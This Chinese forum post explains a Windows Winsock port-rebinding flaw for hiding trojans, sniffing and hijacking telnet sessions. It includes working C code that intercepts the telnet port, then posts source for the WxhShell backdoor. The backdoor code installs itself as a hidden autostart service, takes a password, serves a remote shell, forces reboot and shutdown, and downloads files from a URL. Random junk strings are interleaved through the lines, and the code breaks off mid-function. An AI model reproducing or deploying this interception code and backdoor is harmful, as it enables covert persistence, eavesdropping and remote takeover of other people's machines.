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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X( N~tE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x4'@U<  
t/i I!}  
  saddr.sin_family = AF_INET; b&z#ZY  
6Xvpk1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]<f)Rf">:`  
a$My6Qa#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bBjr hi  
7]h%?W !  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]ZY2\'  
9jkz83/+<  
  这意味着什么?意味着可以进行如下的攻击: %v0M~J}+  
;28d7e}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *r`=hNr  
v/`D0g-uX)  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (u,)v_Oo]a  
(0$~T}lH  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }\"EI<$s  
} !m43x/&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o^"+X7)  
<&5z0rDKWw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pp"X0  
\H] |5fp*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 bwsKdh  
mk>; 3m*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H bKE;N  
d6luksO*9  
  #include <|Td0|x _q  
  #include <XdnVe1  
  #include [ RyVR  
  #include    j_8 YFz5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   MKHnA|uQ](  
  int main() \<LCp;- K  
  { 9p{ 4-]  
  WORD wVersionRequested;  =z.j{%  
  DWORD ret; G]K1X"W?  
  WSADATA wsaData; )pWgt5:7~  
  BOOL val; gQ+]N*.  
  SOCKADDR_IN saddr; HXLnjXoe  
  SOCKADDR_IN scaddr; 6>vR5pn  
  int err; wNf:_^|}  
  SOCKET s; \((iR>^|  
  SOCKET sc; dAI^P/y%  
  int caddsize; e+[*4)Qfy  
  HANDLE mt; 3<xE_ \DR  
  DWORD tid;   Oyl~j #h  
  wVersionRequested = MAKEWORD( 2, 2 ); B"^j>SF  
  err = WSAStartup( wVersionRequested, &wsaData ); 6$`<Y?  
  if ( err != 0 ) { [EAOk=X  
  printf("error!WSAStartup failed!\n"); _jQ:9,; A  
  return -1; iM]O  
  } L AQ@y-K3  
  saddr.sin_family = AF_INET; +IdM|4$\1  
   q)q 3p  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xWLvx'8W  
t>bzo6cj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N1t4o~  
  saddr.sin_port = htons(23); q*hn5K*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m06'T2I  
  { .n 9.y8C  
  printf("error!socket failed!\n"); k6tCfq;  
  return -1; =M\yh,s!  
  } -)V0D,r$[  
  val = TRUE; BZeEZ2"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y+-yIMt$r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o|xf2k  
  { S^QEctXU  
  printf("error!setsockopt failed!\n"); q\fbrv%I4  
  return -1; XcJ5KTn  
  } 6{2y$'m8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x ytrd.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FnGKt\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b_x!m{  
BtJkvg(2]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j+jC J<  
  { j*%#~UFw  
  ret=GetLastError(); R`j"iC2  
  printf("error!bind failed!\n"); E>fY,*0  
  return -1; nW=6nCyvo  
  } 6uRE9h|  
  listen(s,2); xdSMYH{2A  
  while(1) HSruue8  
  { RoqkT|#$  
  caddsize = sizeof(scaddr); a*M|_&MH*  
  //接受连接请求 !yNU-/K  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (hc!!:N~q  
  if(sc!=INVALID_SOCKET) 1mFH7A($  
  { ]3,'U(!+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NEBhVh  
  if(mt==NULL) Qf:e;1F!  
  { c&c  
  printf("Thread Creat Failed!\n"); 8lk/*/} =<  
  break; re/-Yu$'  
  } }9OMXLbRv  
  } X@~/.H5  
  CloseHandle(mt); pSx5ume95"  
  } =ejcP&-V/  
  closesocket(s); |~9jO/&r  
  WSACleanup(); eaRa+ <#u  
  return 0; HNZ$CaJh  
  }   XpAJP++  
  DWORD WINAPI ClientThread(LPVOID lpParam) z_c-1iXCW  
  { \`k=9{R.  
  SOCKET ss = (SOCKET)lpParam; qnP4wRpr  
  SOCKET sc; MWwqon|  
  unsigned char buf[4096]; p{E(RsA  
  SOCKADDR_IN saddr; U6JD^G=qR,  
  long num; ?V`-z#y7  
  DWORD val; 3W'fEh5  
  DWORD ret; ;MfqI/B{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y{dSQ|xz^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uQdeKp4(  
  saddr.sin_family = AF_INET; f1NHW|_j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); e1[ReZW  
  saddr.sin_port = htons(23); -Mo4`bN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |q4=*Xq  
  { dv. 77q  
  printf("error!socket failed!\n"); TOiLv.Dor  
  return -1; qO@vXuul,  
  } u6C_*i{2  
  val = 100; fw%p_Cm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C:1(<1K  
  { a`Bp^(f}  
  ret = GetLastError(); @3n!5XM{EE  
  return -1; 2I:P}!  
  } $_JfM^w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .{gDw  
  { m{>1# 1;$t  
  ret = GetLastError(); Z|K HF"  
  return -1; |QS|\8g{0V  
  } 1c,#`\Iikd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gwB,*.z  
  { MJX ny4n  
  printf("error!socket connect failed!\n"); %)V=)l.j  
  closesocket(sc); 7sVM[lr<  
  closesocket(ss); O+!4KNN.-  
  return -1; sm##owI  
  } qiOtbH=  
  while(1)  %LnLB  
  { >V.?XZ nt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 33%hZ`/>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b GSj?t9/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WD4"ft  
  num = recv(ss,buf,4096,0); :r{-:   
  if(num>0) zd$'8/Cq  
  send(sc,buf,num,0); 8 n[(\f:  
  else if(num==0) MTt8O+J?P~  
  break; vU *: M8k  
  num = recv(sc,buf,4096,0); g?v/ u:v>W  
  if(num>0) Q]5_s{kiz  
  send(ss,buf,num,0); t|>P9lX@  
  else if(num==0) P)VQAM  
  break; {X?Aj >l  
  } D <~UaHfk  
  closesocket(ss); 9#[,{2pJr  
  closesocket(sc); 2-m@-  
  return 0 ; f['I4 /o  
  } l&\y]ZV={  
WG,Il/  
.XpuD,^;@  
========================================================== Xg.Lo2s  
W. d',4)  
下边附上一个代码,,WXhSHELL [fCnq  
mBIksts5h  
========================================================== P^o@x,V!&  
U/FysN_N!  
#include "stdafx.h" 54{E&QvL8o  
UR'v;V&Cb\  
#include <stdio.h> koB'Zp/FaY  
#include <string.h> 9T;>gm  
#include <windows.h> RAa1^Qb  
#include <winsock2.h> T T 3 6Y  
#include <winsvc.h> bV:<%l]  
#include <urlmon.h> &fRz6Hd  
 U :x;4  
#pragma comment (lib, "Ws2_32.lib") NxJnU<g-  
#pragma comment (lib, "urlmon.lib") h_-4Q"fb(  
FVNTE +LW  
#define MAX_USER   100 // 最大客户端连接数 S/Ic=  
#define BUF_SOCK   200 // sock buffer lDBAei3iB  
#define KEY_BUFF   255 // 输入 buffer YuuTLX%3  
\e'Vsy>q  
#define REBOOT     0   // 重启 (Jb#'(~a  
#define SHUTDOWN   1   // 关机 +Zi+ /9Z(H  
)Q9Qo)D T  
#define DEF_PORT   5000 // 监听端口 [ 1G wcXr  
L'Iw9RAJ  
#define REG_LEN     16   // 注册表键长度 C D6N8n]  
#define SVC_LEN     80   // NT服务名长度 z,ryY'ua/I  
1N65 M=)  
// 从dll定义API ~%lUzabMa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fAkfN H6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %1 RWF6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [PXq<ST  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {KDN|o+%  
Sg%s\p]N_#  
// wxhshell配置信息 ~jJ.E_i  
struct WSCFG { /0>'ZzjV,  
  int ws_port;         // 监听端口 _KloX{a  
  char ws_passstr[REG_LEN]; // 口令 KKQT?/ {b  
  int ws_autoins;       // 安装标记, 1=yes 0=no oFp1QrI3k8  
  char ws_regname[REG_LEN]; // 注册表键名 +hKU]DP2;  
  char ws_svcname[REG_LEN]; // 服务名 "Plo[E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?!m\|'s-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]Ndy12,M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S~r75] "  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ].Bx"L!B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NHUJ:j@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1mHS -oI9J  
}.s%J\ckx  
}; S/*\j7cj  
}>y !I5O  
// default Wxhshell configuration Rkg)yme!N  
struct WSCFG wscfg={DEF_PORT, An}RD73!w  
    "xuhuanlingzhe", C ]B P}MY<  
    1, N,B!D~@  
    "Wxhshell", W'Ew!]Q3  
    "Wxhshell", H9'psv  
            "WxhShell Service", c ?<)!9:  
    "Wrsky Windows CmdShell Service", 6n]jx:CZ,  
    "Please Input Your Password: ", 3O 4,LXdA  
  1, :G98uX t  
  "http://www.wrsky.com/wxhshell.exe", Fnk@)1  
  "Wxhshell.exe" A|K=>7n]U  
    }; h$sOJs~6h  
GwXhn2  
// 消息定义模块 s% rmfIp"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MrUjqv6a[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nk7=[y#z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u,:hT] ~+  
char *msg_ws_ext="\n\rExit."; GL>YJ%  
char *msg_ws_end="\n\rQuit."; #: [F=2@,A  
char *msg_ws_boot="\n\rReboot..."; zC:Pg4=w]  
char *msg_ws_poff="\n\rShutdown..."; ->OVNmCB`+  
char *msg_ws_down="\n\rSave to "; nT01B1/<]  
%hmRh~/&  
char *msg_ws_err="\n\rErr!"; A#K<5%U{Mv  
char *msg_ws_ok="\n\rOK!"; J9t?;3  
1D)0\#><  
char ExeFile[MAX_PATH]; H;<>uE Lie  
int nUser = 0; `z q+Xl  
HANDLE handles[MAX_USER]; du'`&{_/  
int OsIsNt; ' A+L #  
PPy~dp  
SERVICE_STATUS       serviceStatus; YH+(N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Uu*iL< `  
&Qv HjjQ?u  
// 函数声明 K0oF=|  
int Install(void); x R$T/]/  
int Uninstall(void); f`;w@gR`=  
int DownloadFile(char *sURL, SOCKET wsh); [f { qb\  
int Boot(int flag); X}]A_G  
void HideProc(void); x'?p?u~[  
int GetOsVer(void); SAitufS  
int Wxhshell(SOCKET wsl); "~.4z,ha  
void TalkWithClient(void *cs); Yh^8 !  
int CmdShell(SOCKET sock); S8kzAT  
int StartFromService(void); Wj!+ E{y<r  
int StartWxhshell(LPSTR lpCmdLine); *pD|N  
$8(QBZq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %2b^t*CQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )l! /7WKY  
1_!?wMo:f  
// 数据结构和表定义 :_xfi9L~W0  
SERVICE_TABLE_ENTRY DispatchTable[] = V'RbTFb9Z  
{ mrsmul{  
{wscfg.ws_svcname, NTServiceMain}, ZDL1H3;R  
{NULL, NULL} qs\Cwn!  
}; (f_YgQEL  
| @ ut/  
// 自我安装 [aA@V0l  
int Install(void) fwA8=o SZd  
{ L58#ri=  
  char svExeFile[MAX_PATH]; lw~ V  
  HKEY key; zx$1.IM"4  
  strcpy(svExeFile,ExeFile); du ~V=%9  
h*40jZ  
// 如果是win9x系统,修改注册表设为自启动 YL!{oHs4  
if(!OsIsNt) { ' =5B   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sm Ql^ 6a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Nr]Fh  
  RegCloseKey(key); Sx J0Y8#z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HnjA78%i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); djnES,^%9  
  RegCloseKey(key); MCEHv}W  
  return 0; ,W[J@4.  
    } ?B e}{Qqlg  
  } G9Kck|50  
} } LC  
else { }.'rhR+  
2ry@<88  
// 如果是NT以上系统,安装为系统服务 'oY#a9~Z{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0fvOA*UP  
if (schSCManager!=0) S2\;\?]^~  
{ 5rbb ,*  
  SC_HANDLE schService = CreateService +XO\#$o>W  
  ( -n[(0n3c  
  schSCManager, [[^95:  
  wscfg.ws_svcname, :] U\{;q2  
  wscfg.ws_svcdisp, ,YvOk|@R  
  SERVICE_ALL_ACCESS, /i27F2NQm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nc4;2~XwRp  
  SERVICE_AUTO_START, h/|p`MP\1  
  SERVICE_ERROR_NORMAL, Pf,@U'f|  
  svExeFile, ^vT!24sK  
  NULL, 1,) yEeHjU  
  NULL, 8TAJ#Lm  
  NULL, ^<-r57pz  
  NULL, @q>Hl`a  
  NULL M!i|,S  
  ); \5!7zPc  
  if (schService!=0) NZ i3U  
  { g<;::'6  
  CloseServiceHandle(schService); #z%D d{E  
  CloseServiceHandle(schSCManager); :8oJG8WH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~AYleM  
  strcat(svExeFile,wscfg.ws_svcname); (?t}S.>g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ihwJBN>(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); of_y<dd[G  
  RegCloseKey(key); ej}S{/<*n  
  return 0; `vOL3`P  
    } sfr+W-7kx  
  } M+VWAh#uD  
  CloseServiceHandle(schSCManager); >L!c} Ku  
} _9 '_w&  
} @>VVB{1@,]  
jy2gR1~  
return 1; MA:5'n  
} /; Bmh=  
UsFn!!+  
// 自我卸载 o.fqJfpj  
int Uninstall(void) m Rw0R{  
{ EV{Ys}3M  
  HKEY key; (oX!D(OI  
54z.@BJhE  
if(!OsIsNt) { J@$~q}iG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O HpV%8`  
  RegDeleteValue(key,wscfg.ws_regname); B T"R"w  
  RegCloseKey(key); HLwMo&*rA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r#4/~a5i~  
  RegDeleteValue(key,wscfg.ws_regname); ML\>TDt  
  RegCloseKey(key); kO3\v)B;  
  return 0; cXqYO|3/M  
  } C[ mTVxd  
} kq5X<'MM9N  
} P* `*^r3  
else { 1,;X4/*  
jmk Ou5@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dV'EiNpf  
if (schSCManager!=0) *QiQ,~Ep  
{ _,T 4DS6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -GCo`PR?b  
  if (schService!=0) / 'qoKof  
  { If,p!L  
  if(DeleteService(schService)!=0) { Q7XOO3<):  
  CloseServiceHandle(schService); I@9'd$YY  
  CloseServiceHandle(schSCManager); Is7BJ f  
  return 0; w90YlWS#  
  } r niM[7K  
  CloseServiceHandle(schService); [DM0'4  
  } ^ U mYW  
  CloseServiceHandle(schSCManager); u>"0 >U  
} K$M+"#./  
} mvZ#FF1,J  
s< FBr,  
return 1; l^Rb%?4Z  
} }Rw,4  
kzRJzJquP  
// 从指定url下载文件 I8 :e `L  
int DownloadFile(char *sURL, SOCKET wsh) s4"Os gP+  
{ gk%@& TB/  
  HRESULT hr; rYr*D[m]  
char seps[]= "/"; |M?vFF]TN  
char *token; b[<RcM{r}  
char *file; ~.%HZzR6&  
char myURL[MAX_PATH]; <ErX<(0`ig  
char myFILE[MAX_PATH]; )|lxzlk  
l,4O  
strcpy(myURL,sURL); ~x9 ]?T  
  token=strtok(myURL,seps); zd=O;T;.  
  while(token!=NULL) ?qaWt/m  
  { ]oB~8d  
    file=token; ]h,rgO ;  
  token=strtok(NULL,seps);  L\PmT  
  } lQ;BI~  
Q- |Y  
GetCurrentDirectory(MAX_PATH,myFILE); s;Gd`-S>d  
strcat(myFILE, "\\"); ">oySo.B?  
strcat(myFILE, file); T^1 Z_|A  
  send(wsh,myFILE,strlen(myFILE),0); 8#7qHT;cx  
send(wsh,"...",3,0); + t5SrO!`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tf86CH=)5  
  if(hr==S_OK) _VK I@   
return 0; C}RO'_Pq  
else Mu? |<#s  
return 1; wu)+n\mt'  
h)HEexyRg  
} v4n< G-  
Vb (b3  
// 系统电源模块 kUf i  
int Boot(int flag) (aa2uctTn  
{ {rUg,y{v  
  HANDLE hToken; @b,Az{EH  
  TOKEN_PRIVILEGES tkp; 9 %T??-  
Wb-C0^dTn  
  if(OsIsNt) { pd|KIs%jl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Jay"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  yfZNL?2x  
    tkp.PrivilegeCount = 1; "o&8\KSs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |vI`u[P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?;ok9Y  
if(flag==REBOOT) { G.rz6o;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <e2l@@#oy  
  return 0; 1 ~zjsi  
} lT|Gkm<G  
else { l_^SU8i57  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1[!v{F%]  
  return 0; zw>L0gC  
} )XN_|zCk  
  } ?*fY$93O  
  else { vk92j?  
if(flag==REBOOT) { b6N[t _,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p{g4`o  
  return 0; ??,[-Oi  
} C`[<6>&y  
else { 8:,($a/KF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kFn/dQ4|  
  return 0; O[Vet/^)  
} Muo E~K2  
} <\^0!v  
QqA=QTZ}  
return 1; ("9bV8:@B  
} yQK{ +w  
tVAi0`DV  
// win9x进程隐藏模块 heVk CM :  
void HideProc(void) 'ToE Y3  
{ y[8;mCh  
D'g,<-ahl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NKu[6J?)  
  if ( hKernel != NULL ) wjA wJOw|  
  { >JyS@j}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H7zN|NdNw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'hpOpIsHa  
    FreeLibrary(hKernel); +%JBr+1#\  
  } 5=pE*ETJ  
Q^(CqQo!<  
return; P.Z:`P)  
} $w0TEO!  
!dLu($P  
// 获取操作系统版本 2J7|y\N,  
int GetOsVer(void) U#jz5<r  
{ @/ z\p7e  
  OSVERSIONINFO winfo; 0!hr9Y]Lx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v(1 [n]y  
  GetVersionEx(&winfo); *f[ 5rr4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Mog >W&U  
  return 1; [,o:nry'a  
  else ,Z q:na  
  return 0; 5h5izA'0'  
} v e&d"8+]  
7>N~l  
// 客户端句柄模块  /8x';hQ  
int Wxhshell(SOCKET wsl) azPH~' E'  
{  {^N,=m\  
  SOCKET wsh; u8Ys2KLpL  
  struct sockaddr_in client; 2n<Mu Q]  
  DWORD myID; e^y9Kmd  
'ygKP6M  
  while(nUser<MAX_USER) #Rw!a#CX.  
{ 2u3Kyn  
  int nSize=sizeof(client); K10G+'H^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); daE.y_9y  
  if(wsh==INVALID_SOCKET) return 1; ;b<w'A_1  
'`>%RZ]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cQ8[XNa  
if(handles[nUser]==0) ~gDYb#p  
  closesocket(wsh); &dyQ6i$],  
else ,!#Am13  
  nUser++; Gv-VDRS  
  } Q:-T' xk@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); scg&"s  
V]7/hN-Y}  
  return 0; W/Dd7 G#IC  
} GG%b"d-  
[:8\F#KW  
// 关闭 socket 19E(Hsz  
void CloseIt(SOCKET wsh) ^O07GYF  
{ r,6~%T0  
closesocket(wsh); j4~(6Imm  
nUser--; q$:1Xkl  
ExitThread(0); RkYdK$|K  
} Y%KowgP\  
%7#<K\])  
// 客户端请求句柄 ;UQGi}?CD  
void TalkWithClient(void *cs) %_(vSpk  
{ FM {f{2j  
$L*gtZ  
  SOCKET wsh=(SOCKET)cs; )/raTD  
  char pwd[SVC_LEN]; cl& w/OJ#  
  char cmd[KEY_BUFF]; (i~UH04r>s  
char chr[1]; c4H6I~2Na  
int i,j; / Hr|u  
B2;P%B  
  while (nUser < MAX_USER) { uo"<}>iJ  
1&w%TRC2x  
if(wscfg.ws_passstr) { 7^gO>2~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gIB3DuUo  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Od!)MQ*,  
  //ZeroMemory(pwd,KEY_BUFF); IWv 9!lW  
      i=0; pN9!  
  while(i<SVC_LEN) { [\8rh^LFi  
VGS%U8;  
  // 设置超时 L!}!k N:?  
  fd_set FdRead; `<7\Zl  
  struct timeval TimeOut; $$9H1)Ny  
  FD_ZERO(&FdRead); [JOa^U=  
  FD_SET(wsh,&FdRead); yGa0/o18!?  
  TimeOut.tv_sec=8; #(^<qr   
  TimeOut.tv_usec=0; |AYii-g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4 &bmt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7:4c\C0  
4.O)/0sU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XZE(& (s  
  pwd=chr[0]; G5}_NS/  
  if(chr[0]==0xd || chr[0]==0xa) { b}! cEJY  
  pwd=0; "wcaJ;Os  
  break; UmR)L!QT8  
  } 8eXe b|?J  
  i++; XGa8tI[:X  
    } q5f QTV  
]#o;`5'  
  // 如果是非法用户,关闭 socket hek+zloB+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iOiF kka  
} 6n9/`D!  
kV'zA F v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *zdD4 I=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "f91YX_)  
2S8;=x}/  
while(1) { <cTX;&0=  
i}m'#b  
  ZeroMemory(cmd,KEY_BUFF); d{fd5jv;  
lR?y tIY  
      // 自动支持客户端 telnet标准   RY;V@\pRY+  
  j=0; &y? |$p\;/  
  while(j<KEY_BUFF) { :8yebOs   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IdmP!(u  
  cmd[j]=chr[0]; rJiF2W  
  if(chr[0]==0xa || chr[0]==0xd) { @76}d  
  cmd[j]=0; x6cG'3&T  
  break; mP)bOAU  
  } A/y|pg5  
  j++; c=v016r\  
    } bxE~tsM"@Y  
aL(G0@(  
  // 下载文件 j4XVk@'OX  
  if(strstr(cmd,"http://")) { 64'2ICf#m  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O=%Ht-kOc  
  if(DownloadFile(cmd,wsh)) Snkb^Kt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ffP]U4  
  else _7!ZnJrR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P'KA-4!  
  } h8/tKyr8(  
  else { 8ZtJvk`  
ag'hHFV  
    switch(cmd[0]) { @`[e1KQ  
  k$$SbStD  
  // 帮助 Z_ GGH2u  
  case '?': { ct\msG }b:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T@1;Nbz]  
    break; e66Ag}Sw|  
  } ?o(284sV3  
  // 安装 LATizu  
  case 'i': { "`M~=RiI  
    if(Install()) `+w= p7ET  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c/$].VG0  
    else jf)cDj2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^\PRz Y  
    break; ?NA $<0  
    } P%R!\i  
  // 卸载  ?s,oH  
  case 'r': { 0MRWx%CR  
    if(Uninstall()) !/G}vu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P5my]4|x  
    else "G%S m")  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,$`} Rf<  
    break; t?9J'.p  
    } ?)9L($VVD  
  // 显示 wxhshell 所在路径 +2MF#{ tS  
  case 'p': { EMnz;/dMt  
    char svExeFile[MAX_PATH]; dNR /|  
    strcpy(svExeFile,"\n\r"); G@P;#l`(D  
      strcat(svExeFile,ExeFile); nc1~5eo  
        send(wsh,svExeFile,strlen(svExeFile),0); <VZ43I  
    break; 0[UI'2  
    } //NV_^$y  
  // 重启 h1S)B|~8  
  case 'b': { w6Gez~ 8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hTa X@=Ra  
    if(Boot(REBOOT)) X>$Wf3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U-DQ?OtmC@  
    else { +E. D:  
    closesocket(wsh); bIm4s  
    ExitThread(0); 4L>8RiiQE;  
    } e!J5h <:  
    break; >r`O@`^U  
    } 2#NnA3l]x%  
  // 关机 yr'-;-u  
